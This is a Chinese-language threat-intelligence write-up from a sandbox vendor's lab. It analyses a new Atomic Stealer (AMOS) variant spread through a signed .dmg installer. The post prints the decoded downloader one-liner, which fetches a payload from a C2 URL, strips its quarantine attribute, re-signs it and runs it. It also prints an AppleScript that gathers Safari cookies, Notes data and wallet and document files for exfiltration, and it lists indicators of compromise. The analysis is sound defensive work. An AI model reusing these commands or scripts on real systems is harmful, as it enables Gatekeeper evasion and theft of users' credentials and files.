长亭百川云 - 文章详情

天穹 | MacOS窃密样本:AMOS家族新变种

星图实验室

23

2024-08-15

一、概述



近日, 天穹沙箱 在进行日常样本狩猎时注意到一个特殊的MacOS样本。经过天穹沙箱动态分析和人工校验,确定该样本为 Atomic Stealer 家族,与历史版本不同的是, 该样本首次采用了base64编码的osascript下载恶意载荷,因此进一步确定该样本为 Atomic Stealer 家族新变种 。Atomic Stealer (AMOS) 是专门针对MacOS系统开发的信息窃取恶意软件,于2023年4月首次被发现,此后出现多个变种,某些变种通过 .dmg 软件包进行传播,一旦安装,它将立即开始搜集系统敏感信息并发送给远程服务器。我们此次分析的就是 .dmg 软件包类型的窃密样本,以下利用天穹沙箱的自动化分析能力,对该样本的具体行径进行深入分析。




二、样本信息


下载器 (Downloader)

载荷 (Payload)


三、样本分析



1、静态分析

下载器样本Setup_gfdsg.dmg是 Atomic Stealer 家族中利用软件安装包进行传播的典型样例,为绕过系统对软件包的安装检测,样本给自身添加了合法签名,如图1所示:

图1 样本签名

2、动态分析

2.1、下载载荷

天穹沙箱支持软件包内容智能搜索分析,下载器样本Setup_gfdsg.dmg投递到沙箱后,沙箱根据挂载目录文件类型智能搜索可执行文件,然后调起该可执行文件。样本报告的进程信息展示了样本执行流程,如图2所示,该可执行文件主要是调用 osascript 执行加密shell命令。

图2 样本执行流程

shell命令使用base64加密,如图3所示,执行第一步是使用 base64 --decode 进行解码。

图3 执行shell命令

解码后的内容如下所示:

1curl -o ~/Library/1111 https://megantic.online/te/Setup && \
2chmod +x ~/Library/1111 && \
3xattr -cr ~/Library/1111 && \
4codesign --force --deep --sign - ~/Library/1111 && \
5~/Library/1111

样本调用 curl 命令从 https[:]//megantic.online/te/Setup 下载载荷,并将其存储于 ~/Library/1111 文件。之后修改载荷文件属性信息,重新签名后启动载荷。

沙箱报告的动态行为展示了样本执行shell命令的拆解过程,包括base64解码、解码后的shell语句、下载文件、修改文件权限及操作代码签名等,如图4、5所示。样本要执行载荷文件,就要避开或者绕过MacOS的安全检测。样本使用 xattr -cr 命令递归删除载荷文件的所有扩展属性,主要意图是删除文件的com.apple.quarantine隔离属性,从而逃避GateKeeper安全机制检查,允许用户打开来自任何来源的软件。

GateKeeper是MacOS上的一项安全技术,用来帮助确保仅受信任的软件可在用户的Mac上运行。当用户从App Store之外的地方下载并打开App、插件或安装器软件包时,它会验证该软件是否来自可识别的开发者、经过Apple公证不含已知的恶意内容且未被修改。在首次打开下载的软件之前,GateKeeper还会请求用户批准,以确保用户没有被诱骗运行他们认为只是数据文件的可执行代码。

图4 shell命令

样本使用 codesign --force 命令强制对载荷文件进行签名,目的是为通过GateKeeper的签名检测。默认情况下,GateKeeper会帮助确保所有下载的软件已由App Store签名,或者由已注册的开发者签名且经过Apple公证,阻止未签名或未被信任的应用程序运行。

图5 修改文件权限和重新签名

2.2、执行载荷

由于下载载荷链接 https[:]//megantic.online/te/Setup 已失效,分析人员通过人为手段获取到载荷信息,投入天穹沙箱进行动态分析。根据报告中展示的动态行为数据,可知该载荷样本同 Atomic Stealer 家族历史样本行为一致,旨在窃取各种敏感信息,包括钥匙串密码、加密钱包密码、浏览器凭据及其他敏感文件等。

获取授权

样本通过 osascript -e display dialog 命令伪造弹窗,欺骗用户输入密码进行授权,并使用 dscl 命令检测密码是否正确,如图6、7所示。

图6 伪造弹窗获取用户密码
图7 伪造弹窗行为捕获

在样本执行过程中,天穹沙箱的屏幕捕获功能记录了样本伪造弹窗过程,如图8所示。

图8 伪造弹窗屏幕截图

信息收集

样本获取用户授权后,继续使用 osascript 执行后续的敏感信息收集行为,如图9所示:

图9 信息收集

为方便说明,整理上图脚本内容如下:

1set baseFolderPath to (path to home folder as text) & "2076065796"
2set fileGrabberFolderPath to (path to home folder as text) & "2076065796:FileGrabber:" 
3
4
5-- 访问Finder应用
6tell application "Finder"
7    set username to short user name of (system info) 
8
9
10    try 
11        -- 创建目录用于存放敏感信息和特定文件
12        if not (exists folder fileGrabberFolderPath) then 
13            make new folder at folder baseFolderPath with properties {name:"FileGrabber"} 
14        end if 
15
16
17        -- 拷贝Safari目录下的cookie文件到创建目录 
18        set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:") 
19        try 
20            duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing 
21        end try 
22
23
24        -- 拷贝Notes目录下的数据库文件到创建目录
25        set homePath to path to home folder as string 
26        set sourceFilePath to homePath & "Library:Group Containers:group.com.apple.notes:" 
27        try 
28            duplicate file "NoteStore.sqlite" of folder sourceFilePath to folder baseFolderPath with replacing 
29        end try 
30
31
32        set extensionsList to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key"} 
33        set desktopFiles to every file of desktop 
34        set documentsFiles to every file of folder "Documents" of (path to home folder)
35
36
37        -- 遍历Desktop和Documents目录下的文件,将后缀名符合extensionsList且文件大小不超过51200的文件拷贝至创建目录
38        repeat with aFile in (desktopFiles & documentsFiles) 
39            set fileExtension to name extension of aFile 
40
41
42            if fileExtension is in extensionsList then 
43                set fileSize to size of aFile 
44
45
46                if fileSize ≤ 51200 then 
47                    duplicate aFile to folder fileGrabberFolderPath with replacing 
48                end if 
49            end if 
50        end repeat
51    end try
52end tell

首先,样本通过文件管理器Finder在当前用户目录下创建临时目录用于存放搜集的敏感信息和特定文件。然后根据设置的路径信息,拷贝指定后缀或大小的文件到创建目录。如图10所示,沙箱运行过程截图中记录了样本尝试访问Finder应用的界面,天穹沙箱支持窗体智能识别,自动通过样本的访问申请。

图10 样本访问Finder

如图11、12所示,动态行为记录了样本创建临时目录并窃取敏感数据到创建目录的行为,窃取的敏感数据包括系统信息、用户密码、keychain(钥匙串密码)、cookies、数据库文件及特殊后缀的文档文件等。

图11 创建临时目录

图12 拷贝文件

除上述脚本中列出的目标目录外,样本还遍历了Firefox和Chrome浏览器目录,搜集自动填充信息、密码、cookie、钱包和信用卡等信息,将其拷贝到创建目录,如图13所示:

图13 搜集浏览器数据

样本在遍历完目标目录后,通过 ditto 命令打包创建目录为zip文件,如图14所示:

图14 ditto压缩

样本搜集完数据就结束了吗?不不不,以经济利益为目的的恶意软件怎会放过任何潜在价值文件呢!根据报告中的网络流量威胁检测和联网活动分析,我们发现样本将打包数据通过http协议发送给了109.120.176.156地址,如图15、16所示:

图15 数据回传
图16 流量检测

以上就是样本执行的全部流程。样本在执行过程中使用了多个shell命令去执行特定行为,对于有疑惑的命令行行为,可以借助TQ-GPT沙箱智能助理去理解其作用。例如,可以向TQ-GPT询问 ditto 命令行的作用,如图17所示:

图17 ditto命令


四、IOC

1恶意文件(SHA1)
202685F530282EDF5E728BEE825948F1F53E1E203          Setup_gfdsg.dmg
3008498C2FF2C32D9289DA76DABE88D6B700E619C          1111
4
5
6C2链接
7https[:]//megantic.online/te/Setup                C2链接
8http[:]//109.120.176.156/joinsystem               C2链接

报告链接:

天穹沙箱分析报告1:

https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=4bb0940631546ace835e8c19a2105727&sk=45307386&devsk=abc5476282c17d6daccaf9dfe6fe3219x

天穹沙箱分析报告2:

https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=5d948c9a1b90b5fee8abba4654b57d3b&sk=12151316&devsk=70b64d971a4a59f029eaaf1991f5553ax


五、技术支持与反馈


星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们最求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。


我们目前正在招聘,工作地点覆盖北京、南京、成都等城市,详情请参见:

https://research.qianxin.com/recruitment/

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2